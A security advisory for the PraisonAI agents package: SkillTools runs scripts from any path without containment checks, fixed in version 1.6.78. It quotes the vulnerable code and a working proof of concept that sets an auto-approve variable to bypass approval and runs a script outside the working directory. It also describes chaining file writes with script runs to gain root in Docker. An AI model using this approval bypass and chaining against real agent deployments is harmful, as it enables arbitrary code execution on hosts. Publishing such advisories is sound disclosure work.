praisonaiagents: PraisonAI: SkillTools Executes Scripts Without Path Containment Validation
What fixes it
- 1.6.78praisonaiagents, pipGitHub
- 1.6.78PraisonAICVE List
- 1.6.78praisonaiagents, PyPIOSV
pip install "praisonaiagents>=1.6.78"
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
SkillTools.run_skill_script() accepts a script_path parameter and executes it via subprocess.run() without any path containment validation. While FileTools has _validate_path() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @require_approval decorator can be bypassed via YAML approve: for high-risk tools.
Details
src/praisonai-agents/praisonaiagents/tools/skill_tools.py (lines 69-119):
def run_skill_script(self, script_path: str, ...):
script_path = os.path.expanduser(script_path)
if not os.path.isabs(script_path):
script_path = os.path.join(self._working_directory, script_path)
script_path = os.path.abspath(script_path)
if not os.path.exists(script_path):
return f"Error: Script not found at {script_path}"
# No path traversal check, no containment validation
# Directly executes whatever is at that path:
result = subprocess.run(cmd, ...)By contrast, FileTools._validate_path() (src/praisonai-agents/praisonaiagents/tools/file_tools.py, lines 42-78) properly validates that the resolved path stays within the working directory:
def _validate_path(self, filepath: str) -> str:
# ...
cwd = os.path.abspath(os.getcwd())
if os.path.commonpath([absolute, cwd]) != cwd:
raise ValueError(f"Path traversal detected: {filepath} escapes workspace {cwd}")SkillTools has no equivalent check.
PoC
import os, tempfile
from praisonaiagents.tools.skill_tools import SkillTools
# Create a "safe" working directory (the jail)
jail = tempfile.mkdtemp(prefix="skill_jail_")
# Create a malicious script OUTSIDE the jail
attack_script = os.path.join(tempfile.gettempdir(), "malicious_skill.sh")
with open(attack_script, 'w') as f:
f.write("#!/bin/bash\n")
f.write("echo \"PROOF_OF_EXPLOIT: Script executed outside jail\"\n")
f.write("echo \"USER: $(whoami)\"\n")
f.write("echo \"HOSTNAME: $(hostname)\"\n")
os.chmod(attack_script, 0o755)
# Bypass approval (simulates Docker env or YAML approve:)
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
st = SkillTools()
st._working_directory = jail # Pretend we're confined
# Run script from OUTSIDE the jail — no path validation!
result = st.run_skill_script(attack_script)
print(result)
# Output:
# PROOF_OF_EXPLOIT: Script executed outside jail
# USER: anushkavirgaonkar
# HOSTNAME: Anushkas-MacBook-Pro-2.local
# Cleanup
del os.environ["PRAISONAI_AUTO_APPROVE"]
os.unlink(attack_script)
os.rmdir(jail)Tested result: The script at /tmp/malicious_skill.sh executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including whoami and hostname. No path containment check exists — the absolute path is accepted and executed directly.
Impact
- Arbitrary script execution: Run any script on the filesystem from any location
- Chaining with file write: Write a malicious script via
write_file(YAML-approvable as a high-risk tool), then execute it viarun_skill_script - Root-level impact in Docker: All PraisonAI Docker containers run as root (no
USERdirective), so an escaped script runs with full root privileges
Text from GitHub Advisory Database
Affected versions 54
- praisonaiagents, pip<= 1.6.77GitHub
- PraisonAIaffected: all versions before 1.6.78CVE List
- PraisonAIunaffected: 1.6.78CVE List
- praisonaiagents, PyPIfrom first release, fixed in 1.6.78OSV
- praisonaiagents, PyPI0.0.1OSV
- praisonaiagents, PyPI0.0.10OSV
- praisonaiagents, PyPI0.0.100OSV
- praisonaiagents, PyPI0.0.101OSV
- praisonaiagents, PyPI0.0.102OSV
- praisonaiagents, PyPI0.0.103OSV
- praisonaiagents, PyPI0.0.104OSV
- praisonaiagents, PyPI0.0.105OSV
- praisonaiagents, PyPI0.0.106OSV
- praisonaiagents, PyPI0.0.107OSV
- praisonaiagents, PyPI0.0.108OSV
- praisonaiagents, PyPI0.0.109OSV
- praisonaiagents, PyPI0.0.11OSV
- praisonaiagents, PyPI0.0.110OSV
- praisonaiagents, PyPI0.0.111OSV
- praisonaiagents, PyPI0.0.112OSV
- praisonaiagents, PyPI0.0.113OSV
- praisonaiagents, PyPI0.0.114OSV
- praisonaiagents, PyPI0.0.115OSV
- praisonaiagents, PyPI0.0.116OSV
- praisonaiagents, PyPI0.0.117OSV
- praisonaiagents, PyPI0.0.118OSV
- praisonaiagents, PyPI0.0.119OSV
- praisonaiagents, PyPI0.0.12OSV
- praisonaiagents, PyPI0.0.120OSV
- praisonaiagents, PyPI0.0.121OSV
- praisonaiagents, PyPI0.0.122OSV
- praisonaiagents, PyPI0.0.123OSV
- praisonaiagents, PyPI0.0.124OSV
- praisonaiagents, PyPI0.0.125OSV
- praisonaiagents, PyPI0.0.126OSV
- praisonaiagents, PyPI0.0.127OSV
- praisonaiagents, PyPI0.0.128OSV
- praisonaiagents, PyPI0.0.129OSV
- praisonaiagents, PyPI0.0.13OSV
- praisonaiagents, PyPI0.0.130OSV
- praisonaiagents, PyPI0.0.131OSV
- praisonaiagents, PyPI0.0.132OSV
- praisonaiagents, PyPI0.0.133OSV
- praisonaiagents, PyPI0.0.134OSV
- praisonaiagents, PyPI0.0.135OSV
- praisonaiagents, PyPI0.0.136OSV
- praisonaiagents, PyPI0.0.137OSV
- praisonaiagents, PyPI0.0.138OSV
- praisonaiagents, PyPI0.0.139OSV
- praisonaiagents, PyPI0.0.14OSV
- praisonaiagents, PyPI0.0.140OSV
- praisonaiagents, PyPI0.0.141OSV
- praisonaiagents, PyPI0.0.142OSV
- praisonaiagents, PyPI0.0.143OSV
References 5
- vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltoolsAdvisoryvia CVE List
- github.com/advisories/GHSA-c44f-37qr-gw3fAdvisoryvia GitHub
- github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3fExploitvia CVE List
- nvd.nist.gov/vuln/detail/CVE-2026-61443Referencevia GitHub
- nvd.nist.gov/vuln/detail/CVE-2026-62168Referencevia GitHub